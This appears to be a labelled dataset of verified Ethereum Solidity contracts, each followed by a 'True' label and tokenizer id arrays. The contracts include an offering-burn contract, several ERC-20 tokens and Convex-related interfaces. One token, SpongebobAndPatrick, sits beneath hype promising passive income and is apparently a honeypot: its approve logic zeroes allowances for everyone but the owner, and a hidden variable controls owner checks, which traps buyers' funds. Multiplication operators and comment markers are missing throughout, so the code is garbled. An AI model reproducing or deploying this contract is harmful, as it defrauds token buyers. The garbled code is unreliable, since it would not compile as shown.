p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3)); } } // File contracts/vapeBurner/AppeaseTheAnomaly.sol pragma solidity ^0.8.0; contract AppeaseTheAnomaly is Ownable { using SafeMath for uint8; using SafeMath for uint16; using SafeMath for uint256; // Each uint array represents offerings of size: Small=0, Medium=1, and Large=2 uint16[] public totalSupplyOfferings = [1000, 1000, 1000]; uint256[] public vapePerOffering = [15 ether, 20 ether, 25 ether]; uint16[] public countOfferingsMade = [0, 0, 0]; uint256 public currentVapePerOffering = 15 ether; address public anomaly = 0xA4dc0764d304Ae0e4A694749cC40245427A08A1E; ERC20Burnable public constant vape = ERC20Burnable(0x917B78b76CA7fD68e9B6E4b1EBFCb13Cc0FB4650); mapping(address => uint256) public vapeBurned; mapping(uint16 => mapping(address => uint16)) public offeringsMade; bool public isAppeased; // Attempt to appease with an offering. The Anomaly may respond in kind. function tryAppease(uint16 numOffering) external { require (!isAppeased, "AlreadyAppeased"); require (numOffering < 101, "TooSelfish"); uint16 offeringsRemaining = numOffering; uint8 i; for (; (i < 3) && (offeringsRemaining > 0); i++) { if (countOfferingsMade[i] < totalSupplyOfferings[i]) { offeringsRemaining = _tryAppeaseInternal(offeringsRemaining, i); } } currentVapePerOffering = vapePerOffering[i-1]; if (offeringsRemaining > 0) { isAppeased = true; } } function _tryAppeaseInternal(uint16 numOffering, uint8 i) internal returns (uint16) { uint16 offeringsAccepted = (totalSupplyOfferings[i] - countOfferingsMade[i]); uint16 amount = (offeringsAccepted >= numOffering) ? numOffering : offeringsAccepted; assert(amount > 0); vape.transferFrom(msg.sender, anomaly, amount vapePerOffering[i]); vapeBurned[msg.sender] += amount * vapePerOffering[i]; countOfferingsMade[i] += amount; offeringsMade[i][msg.sender] += amount; return numOffering - amount; } // Show unconditional devotion to the Anomaly function showDevotion(uint256 vapeDevoted) external { vape.transferFrom(msg.sender, anomaly, vapeDevoted); vapeBurned[msg.sender] += vapeDevoted; } // Anomalies may be fickle function changeMind(uint16[] calldata _totalSupplyOfferings, uint256[] calldata _vapePerOffering, bool _isAppeased, uint256 _currentVapePerOffering) external onlyOwner { totalSupplyOfferings = _totalSupplyOfferings; vapePerOffering = _vapePerOffering; isAppeased = _isAppeased; currentVapePerOffering = _currentVapePerOffering; } function evolveAnomaly(address _anomaly) external onlyOwner { anomaly = _anomaly; } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 16798, 2475, 1011, 6021, 1011, 2382, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 5371, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 1031, 10373, 5123, 1033, 1013, 1013, 2330, 4371, 27877, 2378, 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pragma solidity ^0.4.18; contract Owner { address public owner; function Owner() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner { owner = newOwner; } } contract TokenRecipient { function receiveApproval( address _from, uint256 _value, address _token, bytes _extraData); } contract Token { string public standard; string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); function Token ( uint256 initialSupply, string tokenName, uint8 decimalUnits, string tokenSymbol, string standardStr ) { balanceOf[msg.sender] = initialSupply; // Give the creator all initial tokens totalSupply = initialSupply; // Update total supply name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes decimals = decimalUnits; // Amount of decimals for display purposes standard = standardStr; } function transfer(address _to, uint256 _value) returns (bool success) { if (balanceOf[msg.sender] < _value) { revert(); // Check if the sender has enough } if (balanceOf[_to] + _value < balanceOf[_to]) { revert(); // Check for overflows } balanceOf[msg.sender] -= _value; balanceOf[_to] += _value; Transfer(msg.sender, _to, _value); return true; } function approve(address _spender, uint256 _value) returns (bool success) { require(balanceOf[msg.sender] >= _value); allowance[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { TokenRecipient spender = TokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval( msg.sender, _value, this, _extraData ); return true; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (balanceOf[_from] < _value) { revert(); // Check if the sender has enough } if (balanceOf[_to] + _value < balanceOf[_to]) { revert(); // Check for overflows } if (_value > allowance[_from][msg.sender]) { revert(); // Check allowance } balanceOf[_from] -= _value; balanceOf[_to] += _value; allowance[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } } //build EXToken contract EXToken is Token, Owner { uint256 public constant INITIAL_SUPPLY = 100 * 10000 * 10000 * 100000000; // 1e10 * 1e8 string public constant NAME = "EX8"; //名称 string public constant SYMBOL = "EX8"; // 简称 string public constant STANDARD = "EX8 2.0"; uint8 public constant DECIMALS = 8; uint256 public constant BUY = 0; // 用于自动买卖 uint256 constant RATE = 1 szabo; bool private couldTrade = false; uint256 public sellPrice; uint256 public buyPrice; uint minBalanceForAccounts; mapping (address => bool) frozenAccount; event FrozenFunds(address indexed _target, bool _frozen); function EXToken() Token(INITIAL_SUPPLY, NAME, DECIMALS, SYMBOL, STANDARD) { balanceOf[msg.sender] = totalSupply; buyPrice = 100000000; sellPrice = 100000000; } function transfer(address _to, uint256 _value) returns (bool success) { if (balanceOf[msg.sender] < _value) { revert(); // Check if the sender has enough } if (balanceOf[_to] + _value < balanceOf[_to]) { revert(); // Check for overflows } if (frozenAccount[msg.sender]) { revert(); // Check if frozen } balanceOf[msg.sender] -= _value; balanceOf[_to] += _value; Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (frozenAccount[_from]) { revert(); // Check if frozen } if (balanceOf[_from] < _value) { revert(); // Check if the sender has enough } if (balanceOf[_to] + _value < balanceOf[_to]) { revert(); // Check for overflows } if (_value > allowance[_from][msg.sender]) { revert(); // Check allowance } balanceOf[_from] -= _value; balanceOf[_to] += _value; allowance[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } function freezeAccount(address _target, bool freeze) onlyOwner { frozenAccount[_target] = freeze; FrozenFunds(_target, freeze); } function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner { sellPrice = newSellPrice; buyPrice = newBuyPrice; } function buy() payable returns (uint amount) { require(couldTrade); amount = msg.value * RATE / buyPrice; require(balanceOf[this] >= amount); require(balanceOf[msg.sender] + amount >= amount); balanceOf[this] -= amount; balanceOf[msg.sender] += amount; Transfer(this, msg.sender, amount); return amount; } function sell(uint256 amountInWeiDecimalIs18) returns (uint256 revenue) { require(couldTrade); uint256 amount = amountInWeiDecimalIs18; require(balanceOf[msg.sender] >= amount); require(!frozenAccount[msg.sender]); revenue = amount * sellPrice / RATE; balanceOf[this] += amount; balanceOf[msg.sender] -= amount; require(msg.sender.send(revenue)); Transfer(msg.sender, this, amount); return revenue; } function withdraw(uint256 amount) onlyOwner returns (bool success) { require(msg.sender.send(amount)); return true; } function setCouldTrade(uint256 amountInWeiDecimalIs18) onlyOwner returns (bool success) { couldTrade = true; require(balanceOf[msg.sender] >= amountInWeiDecimalIs18); require(balanceOf[this] + amountInWeiDecimalIs18 >= amountInWeiDecimalIs18); balanceOf[msg.sender] -= amountInWeiDecimalIs18; balanceOf[this] += amountInWeiDecimalIs18; Transfer(msg.sender, this, amountInWeiDecimalIs18); return true; } function stopTrade() onlyOwner returns (bool success) { couldTrade = false; uint256 _remain = balanceOf[this]; require(balanceOf[msg.sender] + _remain >= _remain); balanceOf[msg.sender] += _remain; balanceOf[this] -= _remain; Transfer(this, msg.sender, _remain); return true; } function () { revert(); } }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 3206, 3954, 1063, 4769, 2270, 3954, 1025, 3853, 3954, 1006, 1007, 1063, 3954, 1027, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 16913, 18095, 2069, 12384, 2121, 1006, 1007, 1063, 5478, 1006, 5796, 2290, 1012, 4604, 2121, 1027, 1027, 3954, 1007, 1025, 1035, 1025, 1065, 3853, 4651, 12384, 2545, 5605, 1006, 4769, 2047, 12384, 2121, 1007, 2069, 12384, 2121, 1063, 3954, 1027, 2047, 12384, 2121, 1025, 1065, 1065, 3206, 19204, 2890, 6895, 14756, 3372, 1063, 3853, 4374, 29098, 12298, 2389, 1006, 4769, 1035, 2013, 1010, 21318, 3372, 17788, 2575, 1035, 3643, 1010, 4769, 1035, 19204, 1010, 27507, 1035, 4469, 2850, 2696, 1007, 1025, 1065, 3206, 19204, 1063, 5164, 2270, 3115, 1025, 5164, 2270, 2171, 1025, 5164, 2270, 6454, 1025, 21318, 3372, 2620, 2270, 26066, 2015, 1025, 21318, 3372, 17788, 2575, 2270, 21948, 6279, 22086, 1025, 12375, 1006, 4769, 1027, 1028, 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/** Submitted for verification at Etherscan.io on 2021-11-25 / /* ✔️Spongebob and Patrick, the first ecosystem designed to generate friendship. $SPONGEBOB and $PATRICK are a community-driven tokens on the Ethereum Mainnet. We created $SPONGEBOB to provide our holders with leading tokenomics within the DeFi space. Our frictionless generation protocol makes you earn passive income without having to do anything at all. 🔅ONE PLATFORM, THREE FUNCTIONS: Staking Start staking with $SPONGEBOB and reap higher rewards and additional benefits. Collect NFTs Collect or farm Spongebob and Patrick's NFTs Play & earn Play Spongebob & Patrick's online card game and earn $SPONGEBOB 🔸Tokenomics: Marketing 5% Liquidity 2% Reflections 2% 🔹Total supply: 1,000,000,000,000 READ MORE: https://spongebobandpatrick.com 🔸Socials: Telegram: https://t.me/xSpongebobAndPatrik Twitter: https://twitter.com/SpongebobDeFi Instagram: https://www.instagram.com/spongebobplatform/ / pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract SpongebobAndPatrick is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1000* 10*9 10**18; string private _name = 'SpongebobAndPatrick'; string private _symbol = 'SPONGEBOB'; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 2340, 1011, 2423, 1008, 1013, 1013, 1008, 100, 1998, 4754, 1010, 1996, 2034, 16927, 2881, 2000, 9699, 6860, 1012, 1002, 25742, 5092, 2497, 1998, 1002, 4754, 2024, 1037, 2451, 1011, 5533, 19204, 2015, 2006, 1996, 28855, 14820, 2364, 7159, 1012, 2057, 2580, 1002, 25742, 5092, 2497, 2000, 3073, 2256, 13304, 2007, 2877, 19204, 25524, 2306, 1996, 13366, 2072, 2686, 1012, 2256, 15012, 3238, 4245, 8778, 3084, 2017, 7796, 13135, 3318, 2302, 2383, 2000, 2079, 2505, 2012, 2035, 1012, 100, 4132, 1010, 2093, 4972, 1024, 2358, 15495, 2707, 2358, 15495, 2007, 1002, 25742, 5092, 2497, 1998, 2128, 9331, 3020, 19054, 1998, 3176, 6666, 1012, 8145, 1050, 6199, 2015, 8145, 2030, 3888, 25742, 5092, 2497, 1998, 4754, 1005, 1055, 1050, 6199, 2015, 2377, 1004, 7796, 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/** Submitted for verification at Etherscan.io on 2020-11-02 / pragma solidity 0.6.0; library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). / function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /* * @dev Adds two unsigned integers, reverts on overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /* * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } contract Ownable { address public _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () public { _owner = msg.sender; emit OwnershipTransferred(address(0), msg.sender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == msg.sender, "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract YGold is Ownable { using SafeMath for uint256; // standard ERC20 variables. string public constant name = "Y Gold"; string public constant symbol = "YYG"; uint256 public constant decimals = 18; // the supply will not exceed 30,000 yRise uint256 private constant _maximumSupply = 8000000 10 ** decimals; uint256 private constant _maximumPresaleBurnAmount = 800000 * 10 ** decimals; uint256 public _presaleBurnTotal = 0; uint256 public _stakingBurnTotal = 0; // owner of the contract uint256 public _totalSupply; // events event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); // mappings mapping(address => uint256) public _balanceOf; mapping(address => mapping(address => uint256)) public allowance; constructor() public override { // transfer the entire supply into the address of the Contract creator. _owner = msg.sender; _totalSupply = _maximumSupply; _balanceOf[msg.sender] = _maximumSupply; emit Transfer(address(0x0), msg.sender, _maximumSupply); } function totalSupply () public view returns (uint256) { return _totalSupply; } function balanceOf (address who) public view returns (uint256) { return _balanceOf[who]; } // ensure the address is valid. function _transfer(address _from, address _to, uint256 _value) internal { _balanceOf[_from] = _balanceOf[_from].sub(_value); _balanceOf[_to] = _balanceOf[_to].add(_value); emit Transfer(_from, _to, _value); } // send tokens function transfer(address _to, uint256 _value) public returns (bool success) { require(_balanceOf[msg.sender] >= _value); _transfer(msg.sender, _to, _value); return true; } // handles presale burn + staking burn. function burn (uint256 _burnAmount, bool _presaleBurn) public onlyOwner returns (bool success) { if (_presaleBurn) { require(_presaleBurnTotal.add(_burnAmount) <= _maximumPresaleBurnAmount); require(_balanceOf[msg.sender] >= _burnAmount); _presaleBurnTotal = _presaleBurnTotal.add(_burnAmount); _transfer(_owner, address(0), _burnAmount); _totalSupply = _totalSupply.sub(_burnAmount); } else { require(_balanceOf[msg.sender] >= _burnAmount); _transfer(_owner, address(0), _burnAmount); _totalSupply = _totalSupply.sub(_burnAmount); } return true; } // approve tokens function approve(address _spender, uint256 _value) public returns (bool success) { require(_spender != address(0)); allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } // transfer from function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= _balanceOf[_from]); require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); _transfer(_from, _to, _value); return true; } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 12609, 1011, 2340, 1011, 6185, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1020, 1012, 1014, 1025, 3075, 3647, 18900, 2232, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 4800, 24759, 3111, 2048, 27121, 24028, 1010, 7065, 8743, 2015, 2006, 2058, 12314, 1012, 1008, 1013, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 1013, 1013, 3806, 20600, 1024, 2023, 2003, 16269, 2084, 9034, 1005, 1037, 1005, 2025, 2108, 5717, 1010, 2021, 1996, 1013, 1013, 5770, 2003, 2439, 2065, 1005, 1038, 1005, 2003, 2036, 7718, 1012, 1013, 1013, 2156, 1024, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 2330, 4371, 27877, 2378, 1013, 2330, 4371, 27877, 2378, 1011, 5024, 3012, 1013, 4139, 1013, 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/** Submitted for verification at Etherscan.io on 2021-08-30 / // SPDX-License-Identifier: MIT // File: contracts\interfaces\ICauldron.sol pragma solidity 0.6.12; interface ICauldron { function userCollateralShare(address account) external view returns (uint); } // File: contracts\interfaces\IBentoBox.sol pragma solidity 0.6.12; interface IBentoBox { function toAmount(address _token, uint256 _share, bool _roundUp) external view returns (uint); } // File: contracts\interfaces\IRewardStaking.sol pragma solidity 0.6.12; interface IRewardStaking { function stakeFor(address, uint256) external; function stake( uint256) external; function withdraw(uint256 amount, bool claim) external; function withdrawAndUnwrap(uint256 amount, bool claim) external; function earned(address account) external view returns (uint256); function getReward() external; function getReward(address _account, bool _claimExtras) external; function extraRewardsLength() external view returns (uint256); function extraRewards(uint256 _pid) external view returns (address); function rewardToken() external view returns (address); function balanceOf(address _account) external view returns (uint256); } // File: contracts\interfaces\IConvexDeposits.sol pragma solidity 0.6.12; interface IConvexDeposits { function deposit(uint256 _pid, uint256 _amount, bool _stake) external returns(bool); function deposit(uint256 _amount, bool _lock, address _stakeAddress) external; } // File: contracts\interfaces\ICvx.sol pragma solidity 0.6.12; interface ICvx { function reductionPerCliff() external view returns(uint256); function totalSupply() external view returns(uint256); function totalCliffs() external view returns(uint256); function maxSupply() external view returns(uint256); } // File: contracts\interfaces\CvxMining.sol pragma solidity 0.6.12; library CvxMining{ ICvx public constant cvx = ICvx(0x4e3FBD56CD56c3e72c1403e103b45Db9da5B9D2B); function ConvertCrvToCvx(uint256 _amount) external view returns(uint256){ uint256 supply = cvx.totalSupply(); uint256 reductionPerCliff = cvx.reductionPerCliff(); uint256 totalCliffs = cvx.totalCliffs(); uint256 maxSupply = cvx.maxSupply(); uint256 cliff = supply / reductionPerCliff; //mint if below total cliffs if(cliff < totalCliffs){ //for reduction% take inverse of current cliff uint256 reduction = totalCliffs - cliff; //reduce _amount = _amount * reduction / totalCliffs; //supply cap check uint256 amtTillMax = maxSupply - supply; if(_amount > amtTillMax){ _amount = amtTillMax; } //mint return _amount; } return 0; } } // File: @openzeppelin\contracts\math\SafeMath.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. / library SafeMath { /* * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /* * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /* * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ / function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /* * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ / function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /* * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /* * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /* * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /* * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message 